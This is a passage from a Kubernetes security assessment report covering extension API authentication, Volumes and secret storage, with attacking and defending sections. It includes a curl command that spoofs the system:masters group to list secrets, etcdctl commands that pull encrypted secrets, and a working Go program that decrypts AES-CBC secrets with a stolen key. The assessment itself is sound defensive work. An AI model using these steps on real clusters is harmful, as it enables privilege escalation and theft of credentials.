As shown, the user is identified as `x`, and because no groups were provided, is not allowed to access the secrets API resource. We can modify the group being processed as well, in this example, this group is a `cluster-admin`.

```
$ curl -ki --cacert front-proxy-ca.crt --key front-proxy-client.key --cert front-proxy-
client.crt https://localhost:37572/api/v1/secrets  -H 'X-Remote-Group: system:masters' -H 'X-
Remote-User: x'
HTTP/1.1 200 OK
Content-Type: application/json
Date: Fri, 05 Jul 2019 00:10:49 GMT
Transfer-Encoding: chunked

{
  "kind": "SecretList",
  "apiVersion": "v1",
  "metadata": {
    "selfLink": "/api/v1/secrets",
    "resourceVersion": "2076"
  },
  "items": [
    {
      "metadata": {
        "name": "default-token-t29qz",
        "namespace": "default",
        "selfLink": "/api/v1/namespaces/default/secrets/default-token-t29qz",
        "uid": "ca34248b-9eb6-11e9-9f1e-02427ff0656b",
        "resourceVersion": "335",
        "creationTimestamp": "2019-07-04T23:52:32Z",
        "annotations": {
          "kubernetes.io/service-account.name": "default",
          "kubernetes.io/service-account.uid": "ca2e5934-9eb6-11e9-9f1e-02427ff0656b"
```

Kubernetes documentation does not make it abundantly clear that a compromise of TLS authentication information for an extension API would result in complete compromise of a cluster. Care must be taken when using these arguments.

Privilege Escalation via Pod Creation

Using RBAC permissions, it is possible to reduce user permissions so that they can only create a Pod within a namespace – while simultaneously preventing access to secrets and other sensitive information. This works when preventing access directly to the API; however, there are some methods which may allow users to escalate their privileges within a Pod. These methods require the user to start a Pod container with some form of a backdoor. There are countless methods through which this could be deployed; for example, a web application could be started and exposed from a container that allows the user to read files or execute shell commands.

With access to the backdoor, the user could leverage a Pod service account token to assume privileges that may be higher than their own. Using this same method, the user could also mount and gain access to secrets that they may not be able to access directly.

Volumes

Volumes are a way to share filesystems across one or more containers. They are needed when there is a requirement to view, modify, delete, or save files from a container, as containers always begin in a clean state.

Volumes in Kubernetes are similar to Docker when comparing their purpose and use, but different in their implementation and are much more extensive. With the addition of Pods, there is also additional logic introduced. The Kubernetes documentation describes them simply:

> At its core, a volume is just a directory, possibly with some data in it, which is accessible to the Containers in a Pod. How that directory comes to be, the medium that backs it, and the contents of it are determined by the particular volume type used.[14]

Kubernetes supports a wide range of Volume types over several protocols; including those that have traditionally been plagued with weak or default configurations and are leveraged during lateral movement and privilege escalation attacks. These include, but are not limited to, Network File System (NFS) and Internet Small Computer Systems Interface (iSCSI) protocol.

Attacking

Attacking Volumes is going to be highly dependent on the type in use and configuration parameters. In general, viewing logs and standard filesystem tools can disclose information required to enumerate types and their contents. During review, Atredis Partners identified at least one area where passwords were being written to log files on the Node.

Once access to a Volume has been enumerated and obtained, the objective is to use this information to escape a container or use the data within a Volume to gain access to sensitive information or systems.

Volumes can also be used as a method of data exfiltration over network protocols. While outbound connections should be monitored and egress controls managed to prevent this, strict controls are unlikely given cluster requirements.

[14] Kubernetes Official Documentation – Volumes: https://kubernetes.io/docs/concepts/storage/volumes/

Master

The attack surface for Volumes from the master node includes configuration information. Some configurations, such as iSCSI, store sensitive configuration information as secrets. Access to the API or `etcd` can facilitate the disclosure and consequent access of these Volumes. This is more a problem with secrets themselves rather than Volumes.

Associated with the master are YAML configuration files themselves, which will contain information concerning Volumes. The following configuration snippet details information about an NFS volume.

```
spec:
  containers:
  - name: redis
    image: redis
    volumeMounts:
      - name: nfs-volume
        mountPath: /foo
  volumes:
  - name: nfs-volume
    nfs:
      server: 192.168.7.225
      path: /var/nfs/general
```

Nodes

Accessing a node will provide access to the underlying Volumes in use by a Pod as `kubelet` manages Volumes. Using filesystem tools and viewing logs will disclose useful information when on a node. For example, using `df` on a worker node running a Pod configured for NFS shows that the NFS share is first mounted on a Node before being shared with a container for a Pod.

```
root@kind-worker:/# df
Filesystem                     1K-blocks     Used Available Use% Mounted on
overlay                         37024320 14752200  20368352  43% /
tmpfs                              65536        0     65536   0% /dev
tmpfs                            2014008        0   2014008   0% /sys/fs/cgroup
tmpfs                            2014008     8596   2005412   1% /run
tmpfs                            2014008        0   2014008   0% /tmp
/dev/sda1                       37024320 14752200  20368352  43% /etc/hosts
shm                                65536        0     65536   0% /dev/shm
tmpfs                               5120        0      5120   0% /run/lock
tmpfs                            2014008       12   2013996   1%
tmpfs                            2014008       12   2013996   1%
/var/lib/kubelet/pods/0/volumes/kubernetes.io~secret/default-token-thvlv
192.168.7.225:/var/nfs/general  37024768 14752256  20368384  43%
/var/lib/kubelet/pods/0a29ca40-9b8a-11e9-a723-0242f944ea09/volumes/kubernetes.io~nfs/nfs-
volume
```

Container

From within the container itself, we can see similar information as we did when interacting with a Node.

```
root@redis:/data# df
Filesystem                     1K-blocks     Used Available Use% Mounted on
overlay                         37024320 14752192  20368360  43% /
tmpfs                              65536        0     65536   0% /dev
tmpfs                            2014008        0   2014008   0% /sys/fs/cgroup
192.168.7.225:/var/nfs/general  37024768 14752256  20368384  43% /foo
```

Attacking Volumes from a container is one of the most dynamic and dangerous attack scenarios. Here, the concerns are similar to Docker. In particular, the `hostPath` Volume type can be configured to expose sensitive files from the Node that may allow an attacker to escape the container. Mounting Docker paths and home directories is particularly common and dangerous. Again, standard filesystem tools can be used to explore where Volumes are mounted.

```
root@redis:/foo# df
Filesystem     1K-blocks     Used Available Use% Mounted on
overlay         37024320 14684360  20436192  42% /
tmpfs              65536        0     65536   0% /dev
tmpfs            2014008        0   2014008   0% /sys/fs/cgroup
/dev/sda1       37024320 14684360  20436192  42% /foo
```

Defending

Use Volumes only when needed. Be careful to not expose filesystems containing sensitive information to containers. Kubernetes clusters should be configured with infrastructure independent from other components within an organization. For example, instead of associating an iSCSI volume used to backup corporate infrastructure such as virtual machines, create a separate system.

Volumes and any shared resources should be deployed as read-only to prevent the modification of sensitive files. Documentation within the Kubernetes project, as well as system administrator templates, should be updated to suggest read-only as a suggested solution.

Defend all Volume types by using non-default credentials and configurations. Where applicable, test Volume exposure from a network level outside of the realm of Kubernetes.

Secret Storage

Secret storage can be used to store configuration information such as database passwords and API keys for containers running in a Pod. This removes the need to store these pieces of sensitive information inside source code repositories or configuration files such as in a Pod specification file or the container image.

Like most configuration data associated with a cluster, Kubernetes stores secret objects in `etcd`. Secrets are created and stored by clients interacting with the API server. By default, they are stored in cleartext; however, it is possible to enable encryption at rest.

When a Pod needs to use a secret value, `kubelet` will mount one or more secrets as a volume using `tmpfs`. A Pod specification file specifies a Volume controlling the mounting of a secret, and each container within a Pod specifies where the secret will be mounted. File permissions of mounted secrets can be configured with the default value being `0644`. A Pod can also be configured to populate environment variables as an alternative to mounted volumes.

Secrets can be protected using RBAC and namespaces.

Encryption

It is possible to enable encryption for storage of secrets. As mentioned in Kubernetes documentation[15], the configuration and use of encryption is only for data at rest within `etcd`. This can be done using several schemes, including:

- AES-CBC with PKCS#7 padding (`aescbc`)
- XSalsa20 and Poly1305 (`secretbox`)
- AES-GCM (`aes-gcm`)
- KMS

A review of the code implementing these encryption schemes did not identify any flaws and showed that they are implemented using best practices. Advanced Encryption Standard (AES) cipher implementations are from the core Go project, while `secretbox` is from the Go project and not in the core packages. The use of `secretbox` compared to AES is outside of the scope of this document and discussion of this material is likely to lead to differing opinions throughout the security community.

[15] Kubernetes Official Documentation – Encrypting Secret Data At Rest: https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

The cluster is protected from common issues surrounding authentication of encrypted data as the user never interacts with the cluster using a ciphertext payload, and node-to-master interactions are assumed to be protected and authenticated using TLS. A review of the CipherSuite implementation itself was not conducted and may be an area for additional research.

Encryption at rest provides minimal increases to the overall security of a Kubernetes cluster, and in practice, is most likely only useful when meeting regulatory standards. Key lifecycle elements involve the following:

- One or more keys are stored as a name and secret values are stored as a base64 encoded string in a YAML configuration file
- This file is passed as a command line argument `–encryption-provider-config` when starting up the API server
- Upon startup, the server initializes a transformation for each key and scheme, which are used on ingress and egress as secret values `enter` and `exit` `etcd`

When a secret is sent to the API server, the key name and scheme identifier are stored alongside the ciphertext blob. Because the key must be stored in a configuration file available to the API server, it is best to use a KMS which can protect actual keys in use. AES-CBC is the next suggested mode due to its wide adoption and support.

Access to the API server with a level of authentication needed to retrieve secrets is outside the threat model for encryption, as secrets are transformed transparently to the user, as previously discussed.

Attacking

Decrypting Secrets

If an attacker can access a key and `etcd`, it is trivial to decrypt the stored secrets, provided the attacker is able to understand the usage of cryptographic algorithms and has a modicum of programming ability. The following code can be used to decrypt a secret stored using AES-CBC.

```
package main

import (
      "bytes"
      "crypto/aes"
      "crypto/cipher"
      "encoding/base64"
      "flag"
      "fmt"
)

func main() {
      key := flag.String("k", "", "base64 encoded key for decryption")
      value := flag.String("v", "", "base64 encoded value")
      flag.Parse()
      data, _ := base64.StdEncoding.DecodeString(*value)
      data = bytes.SplitN(data, []byte(":"), 6)[5]
      keyData, _ := base64.StdEncoding.DecodeString(*key)
      blockSize := aes.BlockSize
      iv := data[:blockSize]
      data = data[blockSize:]
      blk, _ := aes.NewCipher(keyData)
      result := make([]byte, len(data))
      copy(result, data)
      mode := cipher.NewCBCDecrypter(blk, iv)
      mode.CryptBlocks(result, result)
      c := result[len(result)-1]
      paddingSize := int(c)
      size := len(result) - paddingSize
      fmt.Println(string(result[:size]))
}
```

For demonstration purposes, suppose we have created a secret with the following command.

```
$ kubectl create secret generic secret2 -n default --from-literal=mykey=mydata
```

A ciphertext payload containing our entire secret (a `Protobuf`) is sent to be stored in `etcd`. The value can be viewed by outputting it as JSON.

```
ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/secrets/default/secret2 -w json
{"header":{"cluster_id":9676036482053611986,"member_id":12858828581462913056,"revision":8724,
"raft_term":2},"kvs":[{"key":"L3JlZ2lzdHJ5L3NlY3JldHMvZGVmYXVsdC9zZWNyZXQy","create_revision"
:4118,"mod_revision":4118,"version":1,"value":"azhzOmVuYzphZXNjYmM6djE6a2V5Mjqon5GY+CNWptCpYP
nKCYP/dqfinQbQsZgc13ACGskR+8l6jMfdK1rEdsssYi9N1OTPGTlYNXS1ASCUipEDBMMJH1MG2f0wAr89jOyZpwlh2EG
RlGPfLlb8JGzz/zn9EBbedKmeLtqlPxoaWJG9WqPHpti7xlo4lys7uECa6hXoGL2EdNfAoQMMjoSkd7mzbnI="}],"cou
nt":1}
```

The JSON decodes to a ciphertext payload which details the algorithm as well as the key used.

```
k8s:enc:aescbc:v1:key2:
```

With access to `key2` from a configuration file, we can use our code above, along with `auger`, to decrypt the `Protobuf` value and decode the secret into YAML, which will display our base64 encoded plaintext secret. The following is an example of this process.

```
./kube-secret-decrypt -k mp8ICeNmm+9rZ2dOwZ1cGqcqNBAgSVxCJXX3XB2DVfA= -v
azhzOmVuYzphZXNjYmM6djE6a2V5Mjqon5GY+CNWptCpYPnKCYP/dqfinQbQsZgc13ACGskR+8l6jMfdK1rEdsssYi9N1
OTPGTlYNXS1ASCUipEDBMMJH1MG2f0wAr89jOyZpwlh2EGRlGPfLlb8JGzz/zn9EBbedKmeLtqlPxoaWJG9WqPHpti7xl
o4lys7uECa6hXoGL2EdNfAoQMMjoSkd7mzbnI= | ~/Desktop/auger/build/auger decode -o yaml
apiVersion: v1
data:
  mykey: bXlkYXRh
kind: Secret
metadata:
  creationTimestamp: 2019-07-01T15:40:48Z
  name: secret2
  namespace: default
  uid: 480cc21d-3090-4d4e-91a1-d1b81a8ed435
type: Opaque
```

Node Access

If secrets are not stored in an encrypted format, access to `etcd` alone would facilitate a compromise of all secrets stored by Kubernetes.

Accessing secrets directly from the API server is dependent on the credentials compromised. The use of RBAC and namespaces may be used to restrict accounts to namespaces and functions. For example, only administrator accounts should be able to list secrets, while normal accounts may be allowed to get secrets. Accessing secrets from a Pod container is dependent on the namespace. A user who can launch a container within a Pod will be able to view the secrets for that namespace.

As described in Kubernetes documentation, a compromise of a Node facilitates the compromise of all secrets within the cluster.

> Currently, anyone with root on any node can read any secret from the apiserver, by impersonating the kubelet. It is a planned feature to only send secrets to nodes that actually require them, to restrict the impact of a root exploit on a single node.[16]

[16] Kubernetes Official Documentation - Secrets: https://kubernetes.io/docs/concepts/configuration/secret/

Defending

The Kubernetes documentation[17] provides adequate defensive recommendations regarding the usage and storage of secrets. There were no additional risks or threats not accounted for or otherwise known by the Kubernetes team.

It is recommended that `etcd` be adequately protected and that encryption be used. Additionally, secrets should be scoped appropriately and not duplicated across systems. Manifest files containing secrets should never be checked into source code repositories.

Documentation does not explicitly call out using limited permissions for files mounted in a running container; it is recommended that the default permissions not be used, and instead limited to whatever the container requires. Using files is preferred over environment variables, as they are less likely to end up in stack traces or application logging by accident.

KMS solutions should be used where possible. These will prevent an attacker from decrypting resources not obtained on a live system and will require access to the KMS daemon. Currently the KMS daemon would be deployed on a unix socket.

Logging and automated alerts should be configured to monitor access to secrets.

[17] Kubernetes Official Documentation – Secrets: https://kubernetes.io/docs/concepts/configuration/secret/

Future Work

Metadata Services

As we've alluded to earlier, exploitation of Kubernetes clusters often involves third-party services and components. A very common scenario discussed is leveraging Server-Side Request Forgery (SSRF) from some application in a Pod container to communicate with a metadata service. Metadata services are used by cloud service providers to orchestrate services across a platform for a customer. SSRF is not required to leverage a metadata service, but is a vector used for illustration. Any access to a Pod container within a CSP environment will usually grant access to a metadata service.

These services across various providers including Amazon, Digital Ocean, and Google Kubernetes Engine have been known to store sensitive information, including but not limited to, `etcd` credentials and certificate data.

A review of each of these services was not conducted as part of testing. As a result, this document is unbiased towards any provider, and does not make any recommendations or contain discussion of any issues related to any one provider. When attacking or defending a Kubernetes cluster, the information contained in metadata services should be carefully considered and defenses should be put in place to prevent access where possible.

etcd

The Kubernetes assessment did not include an assessment of `etcd` itself. This would be a good area to investigate; although, there has been extensive testing conducted in the past. As new features are added to `etcd`, it could prove to be a vulnerable target.

Container Network Interface

The Container Network Interface ("CNI") provides a way for third-parties to write plugins to configure network interfaces within Linux containers. The CNI and available plugins were not part of the Kubernetes assessment, as these items are utilized to facilitate running Kubernetes on a wide variety of platforms and providers and are not part of the core Kubernetes codebase. As noted with metadata services, the use of CNI by cloud providers creates additional attack surface which should be evaluated in order to determine if a provider's plugin is introducing vulnerabilities to an otherwise securely configured Kubernetes install. An overview of the CNI specifications and example plugins can be found in the official CNI repository.[18]

[18] CNI on GitHub: https://github.com/containernetworking

Pod Hardening

Often, compromising a Kubernetes cluster begins with first compromising a lower privileged Pod. The secure configuration of Pods is an often-overlooked aspect of the system. For example, the root file system is not commonly read-only, allowing for additional tools to be installed. File systems also often contain bash or package managers that further enable an attacker to gain a shell and install additional tools. An ideal installation should remove all non-essential binaries and prevent modification to the binaries that are required. Kernel security policies like SELinux or AppArmor can also be used to restrict an attacker's behaviors in a malicious or compromised Pod.

Bare Metal

Cloud providers face unique challenges for protecting the physical servers when deploying Kubernetes. Often, when physical devices are exposed to a Pod, it is via Kubernetes' device plugin framework. In certain cloud deployments, this allows the exposure of GPU's, NIC's, disk arrays, or even raw bus access which can allow an attacker to potentially pivot out of the container by attacking the exposed device or bypass CNI restrictions by communicating directly with the NIC.